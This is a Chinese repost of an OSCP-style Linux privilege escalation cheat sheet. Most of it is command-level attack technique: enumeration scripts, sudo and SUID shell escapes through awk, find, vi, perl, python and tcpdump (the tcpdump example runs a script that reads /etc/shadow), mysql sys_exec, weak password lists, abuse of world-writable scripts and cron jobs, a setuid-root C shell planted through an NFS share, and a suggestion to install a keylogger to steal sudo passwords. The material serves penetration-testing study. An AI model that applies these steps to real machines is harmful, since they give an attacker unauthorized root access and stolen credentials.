转载:https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
一旦我们有了一个有限的shell,升级那些shell权限就很有用了。这样,它将更容易隐藏,读取和写入任何文件,并在重新启动之间保持不变。
在本章中,我将介绍这些常见的Linux权限提升技术:
- 内核漏洞
- 以root身份运行的程序
- 已安装的软件
- 弱/重用/明文密码
- 内部服务
- Suid配置错误
- 滥用sudo权利
- 由root调用的世界可写脚本
- 路径配置错误
- Cronjobs
- 未安装的文件系统
枚举脚本
我主要使用了三个用于枚举机器的脚本。它们是脚本之间的一些区别,但它们输出的内容很多。所以测试它们,看看你最喜欢哪一个。
LINENUM
https://github.com/rebootuser/LinEnum
以下是选项:
-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text
Unix privesc
http://pentestmonkey.net/tools/audit/unix-privesc-check
运行脚本并将输出保存在文件中,然后在其中输入grep警告。
Linprivchecker.py
https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py
特权升级技术
内核漏洞
通过利用Linux内核中的漏洞,我们有时可以升级我们的权限。我们通常需要知道的是,测试内核漏洞是否有效是操作系统,体系结构和内核版本。
检查以下内容:
OS:
建筑:
内核版本:
uname -a
cat /proc/version
cat /etc/issue
搜索漏洞
site:exploit-db.com kernel version
python linprivchecker.py extended
如果可以避免,请不要使用内核漏洞。如果使用它可能会使机器崩溃或使其处于不稳定状态。所以内核漏洞应该是最后的手段。如果可以,请始终使用更简单的私有密码。他们也可以生产很多东西sys.log
。因此,如果您发现任何好的内容,请将其放在列表中,并在利用它之前继续搜索其他方法。
以root身份运行的程序
这里的想法是,如果特定服务以root身份运行,并且您可以使该服务执行命令,则可以以root身份执行命令。寻找网络服务器,数据库或其他类似的东西。一个典型的例子是mysql,例子如下。
检查正在运行的进程
# Metasploit
ps
# Linux
ps aux
Mysql的
如果您发现mysql以root身份运行,并且您使用用户名和密码登录数据库,则可以发出以下命令:
select sys_exec('whoami');
select sys_eval('whoami');
如果这些都不起作用,您可以使用用户定义函数/
用户安装的软件
用户是否安装了可能容易受到攻击的第三方软件?看看这个。如果你发现任何谷歌它的漏洞利用。
# Common locations for user installed software
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
# Debian
dpkg -l
# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )
# OpenBSD, FreeBSD
pkg_info
弱/重用/明文密码
- 检查webserver连接到数据库(
config.php
或类似)的文件 - 检查数据库中是否有可能重用的管理员密码
- 检查弱密码
username:username
username:username1
username:root
username:admin
username:qwerty
username:password
- 检查明文密码
# Anything interesting the the mail?
/var/spool/mail
./LinEnum.sh -t -k password
服务仅限于内部
可能是用户正在运行某些仅可从该主机获得的服务。您无法从外部连接到该服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行,或者可能存在漏洞。他们可能更容易受到攻击,因为开发人员或用户可能会想“因为只有特定用户才能访问它,我们不需要花费那么多安全性”。
检查netstat并将其与您从外部执行的nmap-scan进行比较。您是否从内部找到更多服务?
# Linux
netstat -anlp
netstat -ano
Suid和Guid配置错误
当运行具有suid权限的二进制文件时,它将作为另一个用户运行,因此具有其他用户权限。它可以是root用户,也可以只是其他用户。如果在可能产生shell的程序上设置suid-bit,或者以其他方式滥用,我们可以使用它来升级我们的权限。
例如,这些是可用于生成shell的一些程序:
nmap
vim
less
more
如果这些程序具有suid-bit set,我们也可以使用它们来升级权限。有关更多这些以及如何使用,请参阅有关滥用sudo权限的下一部分:
nano
cp
mv
find
找到suid和guid文件
#Find SUID
find / -perm -u=s -type f 2>/dev/null
#Find GUID
find / -perm -g=s -type f 2>/dev/null
滥用sudo权利
如果你有一个有限的shell可以访问某些程序使用sudo
你可能能够升级您的权限。可以使用任何可以写入或覆盖的程序。例如,如果您拥有sudo权限,则cp
可以覆盖/etc/shadow
或/etc/sudoers
使用您自己的恶意文件。
awk
awk 'BEGIN {system("/bin/bash")}'
bash
cp
复制并覆盖/ etc / shadow
find
sudo find / -exec bash -i \;
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
ht
文本/二进制编辑器HT。
less
从少到你可以进入vi,然后进入shell。
sudo less /etc/shadow
v
:shell
more
您需要在比屏幕大的文件上运行更多。
sudo more /home/pelle/myfile
!/bin/bash
mv
覆盖/etc/shadow
或/etc/sudoers
man
nano
nc
nmap
python/perl/ruby/lua/etc
sudo perl
exec "/bin/bash";
ctr-d
sudo python
import os
os.system("/bin/bash")
sh
tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
vi/vim
可以这样滥用:
sudo vi
:shell
:set shell=/bin/bash:shell
:!bash
以root身份调用世界可写脚本
如果您发现一个由root拥有但可由任何人写入的脚本,您可以在该脚本中添加自己的恶意代码,以便在以root身份运行脚本时升级您的权限。它可能是cronjob的一部分,或者自动化,或者它可能由系统管理员手动运行。您还可以检查这些脚本调用的脚本。
#World writable files directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# World executable folder
find / -perm -o x -type d 2>/dev/null
# World writable and executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null
路径配置错误
把.
路径
。如果你把你的路径中的点,你将不必写./binary
才能够执行它。您将能够执行当前目录中的任何脚本或二进制文件。
为什么人/系统管理员会这样做?因为他们很懒,不想写./.
这解释了它
https://hackmag.com/security/reach-the-root/
在这里
http://www.dankalia.com/tutor/01005/0100501004.htm
的cronjob
使用可为其他用户编辑的特权运行脚本。
查找特权用户拥有但可写的任何内容:
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
未安装的文件系统
在这里,我们正在寻找任何未安装的文件系统。如果我们找到一个我们挂载它并再次启动priv-esc进程。
mount -l
cat /etc/fstab
NFS共享
如果您发现计算机具有NFS共享,则可以使用该共享来升级权限。取决于它的配置方式。
# First check if the target machine has any NFS shares
showmount -e 192.168.1.101
# If it does, then mount it to you filesystem
mount 192.168.1.101:/ /tmp/
如果成功那么你可以去/tmp/share
。那里可能有一些有趣的东西。但即使没有,你也许可以利用它。
如果您具有写权限,则可以创建文件。测试您是否可以创建文件,然后使用low-priv shell检查用户创建该文件的内容。如果它说是创建该文件的root用户那就是好消息。然后,您可以创建一个文件,并使用来自攻击计算机的suid-permission进行设置。然后使用低权限shell执行它。
可以编译此代码并将其添加到共享中。在由低权限用户执行之前,请确保在其上设置suid-bit,如下所示:
chmod 4777 exploit
#include <stdio.h>
#include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }
通过键盘记录器窃取密码
如果您有权访问具有sudo权限的帐户但您没有密码,则可以安装键盘记录程序来获取密码。
与privesc相关的其他有用的东西
世界可写目录
/tmp
/var/tmp
/dev/shm
/var/spool/vbox
/var/spool/samba